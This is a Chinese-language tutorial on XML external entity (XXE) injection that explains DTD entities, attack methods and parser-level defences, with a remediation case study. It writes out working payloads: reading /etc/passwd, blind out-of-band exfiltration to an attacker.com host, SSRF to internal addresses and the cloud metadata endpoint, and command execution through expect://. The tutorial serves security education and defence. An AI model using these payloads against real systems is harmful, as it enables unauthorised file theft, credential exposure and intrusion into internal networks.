
大概在五年前做某次授權(quán)測試目標系統(tǒng)有個不起眼的文件上傳接口響應報文里帶著一段 XML 結(jié)構(gòu)。當時隨手改了改請求體把實體聲明換成了外部實體結(jié)果直接把服務器上的/etc/passwd讀了出來。那是我第一次真正意識到 XXEXML External EntityXML 外部實體注入的破壞力一個被忽略的解析機制就能讓幾百臺內(nèi)網(wǎng)機器像沒關(guān)門一樣擺在攻擊者面前。XXE 屬于典型的配置與信任缺陷類漏洞根子在于 XML 解析器默認支持外部實體加載而開發(fā)者往往既沒有關(guān)閉這個特性也沒有對輸入做任何限制。攻擊者只需要在 XML 中構(gòu)造一句!ENTITY xxe SYSTEM file:///etc/passwd解析器就會乖乖把文件內(nèi)容拼接進響應里。它不像 SQL 注入那樣有統(tǒng)一的語法特征但危害面極廣從讀取本地文件、發(fā)起內(nèi)網(wǎng)探測到在某些環(huán)境下直接執(zhí)行系統(tǒng)命令都屬于 XXE 的攻擊范疇。這篇文章會把 XML 語言結(jié)構(gòu)、XXE 的原理、常用攻擊手法和防御方案串起來講一遍。適合剛接觸 Web 安全的人建立體系認知也適合開發(fā)人員自查代碼里是否存在同類問題。全文基于常見實踐和公開資料整理所有測試均在授權(quán)環(huán)境下完成請勿對未授權(quán)目標使用。1. 內(nèi)容整體設計與思路拆解1.1 為什么 XXE 會成為一個獨立漏洞類型要理解 XXE得先回到 XML 的設計初衷。XML 是一種標記語言用來描述結(jié)構(gòu)化數(shù)據(jù)它允許通過文檔類型定義DTD來聲明實體。實體可以簡單理解成“變量”在文檔里引用它解析時會被替換成對應的值。這個機制本身沒有問題問題出在“外部實體”上——XML 規(guī)范允許實體引用外部資源比如本地文件、遠程 URL甚至 UNC 路徑。大多數(shù)編程語言內(nèi)置的 XML 解析器在默認配置下都會支持外部實體加載。原因很簡單歷史上“寬松”的配置能減少兼容性問題很多老業(yè)務依賴這種能力讀取配置文件或引用外部 DTD。于是攻擊者只要找到一處能提交 XML 數(shù)據(jù)的位置構(gòu)造惡意實體聲明解析器就會按照聲明去讀取資源并展開到文檔中。如果解析后的數(shù)據(jù)被返回給客戶端信息就泄露了如果不直接返回也能通過錯誤信息、時序差異、盲注方式把數(shù)據(jù)帶出來。我在實際測試中遇到最多的場景是JSON 接口里嵌套了一段 XML或者文件上傳功能支持導入 XML 格式的配置再或者 SOAP 接口本身就用 XML 通信。開發(fā)人員對這些位置的警惕性遠低于 SQL 查詢和文件上傳所以遺漏率很高。1.2 滲透測試視角下的攻擊面梳理從攻擊者角度看XXE 的目標不是 XML 本身而是托管解析器的服務器。梳理攻擊面時需要關(guān)注三件事第一入口位置。所有接受 XML 作為輸入的接口都要測不要只看Content-Type: application/xml的接口有些 JSON 接口內(nèi)部會用 XML 解析器處理字段值這種隱蔽入口更容易出問題。第二解析器類型。不同語言和庫對實體處理的默認策略不一樣。比如 Python 的xml.etree.ElementTree在較新版本中已經(jīng)禁用外部實體但lxml默認仍然支持。Java 的DocumentBuilderFactory如果沒手動關(guān)閉external-general-entities風險也很大。測試前得先摸清技術(shù)棧才好判斷漏洞是否真實存在。第三利用深度。文件讀取是最基礎(chǔ)的但如果解析器運行在高權(quán)限用戶下或者目標環(huán)境存在特殊協(xié)議支持攻擊可能升級為命令執(zhí)行或內(nèi)網(wǎng)穿透。這也是為什么 XXE 的嚴重性評級經(jīng)常被標為 High 甚至 Critical。1.3 學習路線從 XML 結(jié)構(gòu)到防御閉環(huán)我認為理解 XXE 有一個清晰的遞進路徑先掌握 XML 的基本結(jié)構(gòu)知道 DTD、元素、實體分別是什么再看解析器如何處理外部實體明白漏洞產(chǎn)生的機制然后動手構(gòu)造 Payload區(qū)分回顯、報錯、盲注三種利用形態(tài)最后回到防御從解析器配置、依賴庫、應用層輸入校驗三個維度扎緊籬笆。這個閉環(huán)走通之后無論是做白盒審計還是黑盒測試都會比較順手。2. XML 語言結(jié)構(gòu)與外部實體基礎(chǔ)2.1 XML 文檔的組成要素XML 文檔由序言和文檔元素組成。序言包括 XML 聲明和文檔類型定義DTD文檔元素則是一個嵌套的樹形結(jié)構(gòu)。看一個最典型的例子?xml version1.0 encodingUTF-8? !DOCTYPE note [ !ELEMENT note (to,from,heading,body) !ELEMENT to (#PCDATA) ] note toTove/to fromJani/from headingReminder/heading bodyDont forget me this weekend!/body /note其中!DOCTYPE note [...]聲明了根元素的類型內(nèi)部的!ELEMENT note (to,from,heading,body)定義了子元素結(jié)構(gòu)#PCDATA表示該元素包含可解析的字符數(shù)據(jù)。這些聲明本身不產(chǎn)生漏洞但 DTD 的存在給了攻擊者聲明惡意實體的空間。實體分為內(nèi)部實體和外部實體。內(nèi)部實體直接在 DTD 中定義值比如!ENTITY author 張三引用時用author;即可。外部實體則引用外部資源語法是!ENTITY name SYSTEM URI。URI 可以是file://、http://、ftp://等協(xié)議具體取決于解析器支持哪些協(xié)議。XXE 的核心就是讓外部實體指向攻擊者可控的資源。2.2 外部實體的加載機制當解析器遇到外部實體引用時會嘗試從 URI 指定的位置獲取內(nèi)容并將該內(nèi)容插入到文檔中替代實體引用。這個行為類似于文本預處理先進行實體展開再解析整個文檔結(jié)構(gòu)。關(guān)鍵在于解析器并不區(qū)分“內(nèi)部定義的實體”和“來自外部的實體”只要 DTD 里聲明了SYSTEM關(guān)鍵字它就會去讀取對應的資源。以文件讀取為例?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo解析器加載文檔時xxe;會被替換為/etc/passwd的文件內(nèi)容。如果接口把解析后的 XML 內(nèi)容以文本形式返回攻擊者就能看到完整的文件內(nèi)容。如果接口不返回解析結(jié)果也沒關(guān)系可以結(jié)合錯誤信息外帶數(shù)據(jù)。這里有個容易被忽略的點很多解析器對file://協(xié)議的支持會受平臺限制。Linux 上讀取/etc/passwd很順利但 Windows 路徑需要用file:///C:/Windows/win.ini。在測試時建議多試幾個路徑比如file:///etc/hosts、file:///c:/windows/win.ini往往能更快定位平臺類型。2.3 參數(shù)實體與通用實體的區(qū)別DTD 中還存在參數(shù)實體語法是!ENTITY % name value引用方式是%name;。參數(shù)實體只能在 DTD 內(nèi)部使用不能出現(xiàn)在文檔內(nèi)容中。這個特性在盲注 XXE 時特別有用因為攻擊者可以用參數(shù)實體加載外部 DTD再借助外部 DTD 中的實體定義把數(shù)據(jù)帶出來。通用實體和參數(shù)實體的區(qū)別可以用一個表格概括類型聲明語法引用方式使用位置內(nèi)部通用實體!ENTITY name valuename;文檔內(nèi)容外部通用實體!ENTITY name SYSTEM URIname;文檔內(nèi)容內(nèi)部參數(shù)實體!ENTITY % name value%name;DTD 內(nèi)部外部參數(shù)實體!ENTITY % name SYSTEM URI%name;DTD 內(nèi)部攻擊者通常用通用實體做回顯型 XXE用參數(shù)實體做盲注型 XXE。理解這個區(qū)別后后面看 Payload 就不會暈。3. 核心攻擊手法與利用場景3.1 回顯型直接讀取文件內(nèi)容回顯型 XXE 是最理想的形態(tài)因為攻擊者能直接看到解析結(jié)果。構(gòu)造 Payload 時只需要讓外部實體指向目標文件然后在 XML 文檔內(nèi)容中引用該實體。接口返回的響應里如果包含文件內(nèi)容漏洞即確認。?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY x SYSTEM file:///etc/passwd ] rootx;/root測試時要注意編碼問題。如果目標文件是二進制內(nèi)容或者包含不適合 XML 解析的字符解析器可能會報錯。實戰(zhàn)中優(yōu)先讀取文本類文件如/etc/passwd、/etc/hostname、Web 應用配置文件等。Windows 環(huán)境下C:\Windows\System32\drivers\etc\hosts也是很好的目標。有些接口會做一層簡單的過濾比如檢查請求體中是否包含關(guān)鍵字。這種情況可以嘗試編碼繞過但更可靠的方式是先摸清解析器的具體實現(xiàn)再針對性構(gòu)造。3.2 盲注型報錯外帶與 OOB 數(shù)據(jù)外傳當接口不回顯解析結(jié)果時就需要利用盲注技巧。第一種思路是報錯外帶通過構(gòu)造錯誤的 XML讓解析器把讀取到的文件內(nèi)容輸出到錯誤信息中。典型的 Payload 如下?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval; %exfil; ] roottest/root這段 Payload 使用了嵌套實體和外部參數(shù)實體。%file;讀取文件內(nèi)容%eval;定義一個新的參數(shù)實體該實體的 URI 中帶上了%file;的值最終%exfil;觸發(fā)向攻擊者服務器發(fā)起請求。攻擊者這邊只需要起一個 HTTP 服務日志里就能看到帶外數(shù)據(jù)。這種利用方式要求目標服務器能訪問外網(wǎng)或者內(nèi)網(wǎng)中攻擊者可控的服務器。如果目標出網(wǎng)受限可以考慮用ftp://或者dict://協(xié)議做數(shù)據(jù)外帶不過成功率受網(wǎng)絡環(huán)境影響比較大。3.3 SSRF 與內(nèi)網(wǎng)探測XXE 不僅能讀文件還能讓服務器發(fā)起任意 URL 請求形成 SSRF服務端請求偽造。將外部實體的 URL 指向內(nèi)網(wǎng)地址比如http://127.0.0.1:8080/admin如果接口把響應內(nèi)容返回攻擊者就能借此訪問內(nèi)網(wǎng)服務如果回顯不完整也可以通過響應時間差或錯誤信息判斷端口是否開放。另一種更隱蔽的方式是借助http://協(xié)議訪問云服務器內(nèi)部元數(shù)據(jù)接口。一些平臺的元數(shù)據(jù)地址是固定 IP例如http://169.254.169.254/latest/meta-data/。通過 XXE 請求這個地址可能拿到臨時憑證等敏感信息。測試時是否包含這塊內(nèi)容要嚴格遵循授權(quán)范圍不要越界。SSRF 和文件讀取經(jīng)常疊加使用先讀取本機文件確認平臺再通過內(nèi)網(wǎng)探測擴大戰(zhàn)果。但每一步都必須控制風險避免對內(nèi)部系統(tǒng)造成不可逆影響。3.4 命令執(zhí)行的幾種特殊場景XXE 直接命令執(zhí)行比較少見通常需要解析器支持某些特定協(xié)議或存在配套組件。有一個經(jīng)典場景是 PHP 環(huán)境下的expect://協(xié)議如果 PHP 的 XML 解析器啟用了 expect 擴展可以這樣構(gòu)造?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM expect://id ] rootxxe;/root另一個場景是 Java 環(huán)境下通過jar://協(xié)議觸發(fā)本地文件處理或者配合反序列化鏈實現(xiàn)更深入的利用。這些利用方式依賴環(huán)境測試時要先確認目標語言和解析器類型沒有必要盲目嘗試。3.5 利用流程與 Payload 組織實際滲透測試時我習慣按這個順序推進第一步確認入口。找所有接收 XML 的接口包括抓包中看到的Content-Type: application/xml以及 JSON 字段內(nèi)嵌 XML 的場景。第二步探測解析器是否處理外部實體。發(fā)送一個最小化探測 Payload判斷響應是否出現(xiàn)外部資源內(nèi)容。第三步分情況利用。回顯型直接讀文件盲注型先搭建外帶通道SSRF 場景則逐步擴大探測范圍。第四步驗證影響面。評估能否從文件讀取升級到代碼執(zhí)行或內(nèi)網(wǎng)橫向但這個環(huán)節(jié)需要明確授權(quán)邊界和時間窗口。組織 Payload 時建議保持 XML 結(jié)構(gòu)完整。很多解析器對格式敏感少一個閉合標簽就會直接報錯導致測試中斷。4. 防御手法與安全編碼4.1 關(guān)閉外部實體加載最直接的修復防御 XXE 最有效的手段是禁用外部實體。不同語言的解析器有不同的配置方式以下列出常見的幾種Python 中l(wèi)xml庫需要顯式禁用from lxml import etree parser etree.XMLParser(resolve_entitiesFalse, no_networkTrue) tree etree.fromstring(xml_data, parserparser)Java 中標準做法是設置DocumentBuilderFactory的特性DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false);PHP 中可以在加載前調(diào)用libxml_disable_entity_loader(true)或者使用libxml選項$xml simplexml_load_string($data, SimpleXMLElement, LIBXML_NONET | LIBXML_NOENT);這里有兩個容易踩的坑。一是只關(guān)了外部通用實體但忘了關(guān)外部參數(shù)實體二是只做代碼層配置卻忽略了依賴庫內(nèi)部可能還有一層解析器。建議配置完之后用自動化測試腳本掃一遍確認所有解析路徑都已收緊。4.2 輸入校驗與輸出過濾除了關(guān)閉外部實體還需要在應用層增加防線。輸入校驗方面最穩(wěn)妥的做法是直接拒絕含有 DTD 聲明的 XML 請求。因為正常業(yè)務場景下大部分應用根本不需要 DTD。如果產(chǎn)品確實需要 DTD那就優(yōu)先選擇安全的解析器配置而不是依賴輸入過濾。輸出過濾主要用于防止敏感信息泄露。即使解析器被意外繞過響應中也應該對文件路徑、內(nèi)部 IP、系統(tǒng)用戶等信息做脫敏。實際操作中很多業(yè)務接口會把解析后的數(shù)據(jù)原樣返回這是 XXE 從“存在但不可見”變成“嚴重泄露”的關(guān)鍵因素。4.3 禁用危險協(xié)議與限制出網(wǎng)很多 XXE 利用依賴file://、http://、ftp://等協(xié)議。如果解析器允許自定義協(xié)議解析器可以只注冊安全協(xié)議。像 Java 中自定義 XMLReader 時可以檢查XMLConstants.ACCESS_EXTERNAL_DTD和ACCESS_EXTERNAL_SCHEMA屬性將訪問權(quán)限限制為空字符串從而禁止外部資源訪問。對于服務器自身還需要在網(wǎng)絡層限制出網(wǎng)訪問。XXE 盲注和數(shù)據(jù)外帶必須依賴目標服務器向外部發(fā)起請求如果服務器只能訪問必要的內(nèi)部服務和少數(shù)白名單域名攻擊者即使發(fā)現(xiàn)了漏洞也很難把數(shù)據(jù)帶出去。這個思路類似于縱深防御不把雞蛋放在同一個籃子里。4.4 安全測試與自動化掃描防御不能停留在修漏洞上還得建立持續(xù)檢測機制。團隊在研發(fā)流程里可以加入依賴庫的漏洞檢查比如使用社區(qū)維護的組件掃描工具及時發(fā)現(xiàn) XML 解析器相關(guān)的 CVE。更重要的是在測試階段加入 XXE 專項用例直接把探測 Payload 寫入自動化用例中防止以后代碼改動時把外部實體加載又帶回來。測試用例可以覆蓋這幾個方向DTD 聲明是否被拒絕、外部通用實體是否被加載、外部參數(shù)實體是否被加載、file://協(xié)議是否可用、http://協(xié)議是否可用。每一條都對應明確的預期結(jié)果避免測試用例只是走個過場。5. 常見問題與排查技巧實錄5.1 為什么 Payload 構(gòu)造正確卻沒有任何回顯這個問題出現(xiàn)的頻率最高。排查時先確認接口是否真的解析了 XML而不是把請求體當普通字符串處理??梢蕴峤灰粋€格式錯誤的 XML如果接口報錯并返回了解析異常信息說明 XML 確實被解析如果接口返回 200 且沒有任何變化就需要檢查 Content-Type 是否匹配。另一個原因是解析器默認忽略了外部實體。很多新版本的解析器已經(jīng)把外部實體加載設為默認關(guān)閉此時即使 DTD 里聲明了外部實體也不會被加載。遇到這種情況可以試試把Content-Type改成application/xml或者嘗試不同的解析入口有些業(yè)務接口存在多套解析邏輯。5.2 盲注時外帶通道搭建失敗盲注型 XXE 對外帶通道的依賴很強。常見問題是目標服務器解析 URL 時對特殊字符敏感比如、#可能引發(fā) URL 編碼問題。建議外帶參數(shù)值統(tǒng)一做 Base64 編碼并且使用短域名或 IP 地址避免 DNS 解析問題。還有一種情況是目標服務器只能訪問內(nèi)網(wǎng)。此時需要調(diào)整思路尋找內(nèi)網(wǎng)中可控的 HTTP 服務作為數(shù)據(jù)接收端但注意不要越權(quán)操作其他系統(tǒng)。一般來說如果外帶失敗優(yōu)先檢查目標服務器到外部的連通性再檢查 Payload 中的實體嵌套是否正確。5.3 自動化掃描工具報了一堆 XXE但人工驗證全是誤報掃描器通常通過發(fā)送預設 Payload 并匹配響應特征來判定漏洞。誤報的根源在于它無法判斷解析器是否真的執(zhí)行了實體替換。人工驗證時不要光看響應中包含某個關(guān)鍵詞還要確認這個關(guān)鍵詞是否來自我們構(gòu)造的實體引用。最穩(wěn)的驗證方法是使用隨機字符串作為實體內(nèi)容比如定義!ENTITY xxe SYSTEM http://internal-test.example/然后觀察 DNS 記錄或 HTTP 日志中是否出現(xiàn)我們獨有的標記。這樣才能確認是真實觸發(fā)而不是響應模板里本來就帶有的字符串。5.4 修復后如何回歸驗證修復后的回歸測試同樣重要。我見過不少團隊改了代碼但配置沒生效或者只改了某個入口其他入口仍然存在漏洞。回歸測試建議覆蓋所有已知的 XML 輸入點重新跑一遍探測 Payload確認外部實體加載已經(jīng)被關(guān)閉。如果修復方式是在代碼層添加過濾器還要測試繞過場景。比如攻擊者可能在 XML 聲明中使用編碼方式繞過過濾此時需要在測試用例中增加編碼變體確保過濾器真正覆蓋所有輸入形式?;貧w測試通過后最好把用例固化到 CI 流程里防止未來退化。6. 從漏洞到修復的實戰(zhàn)復盤拿我之前參與的一個模擬項目舉例。某后臺管理系統(tǒng)支持用戶導入 XML 格式的報告當時冷門功能關(guān)注度低開發(fā)直接把 XML 文件丟給解析器處理沒有做任何限制。測試人員在發(fā)現(xiàn)上傳功能后隨手提交了一個包含外部實體的請求結(jié)果成功讀取了服務器上的配置信息其中包含數(shù)據(jù)庫連接字符串。問題本身修復不難難的是部門里有多個業(yè)務系統(tǒng)都調(diào)用了同一個 XML 解析工具類。我們統(tǒng)一修改了工具類的解析參數(shù)同時對外發(fā)布了一份內(nèi)部安全編碼規(guī)范要求所有涉及 XML 解析的新代碼必須使用安全配置模板。修復后對全量接口做了一輪自動化掃描確認沒有遺漏。這個案例說明XXE 的修復不只是改一行代碼更要在公共組件層面收口。項目組有必要建立一個“解析器安全配置清單”把開啟外部實體、允許 DTD 聲明這類高風險選項明確標記為禁止項。我個人在實際操作中的體會是XXE 的防御重點永遠在解析器配置。任何黑名單和過濾都可能被繞過只有從根源上關(guān)閉外部實體加載才能保證體系性地安全。建議大家在寫完代碼后主動拿著測試 Payload 打一遍自己的接口這個習慣比任何安全通告都管用。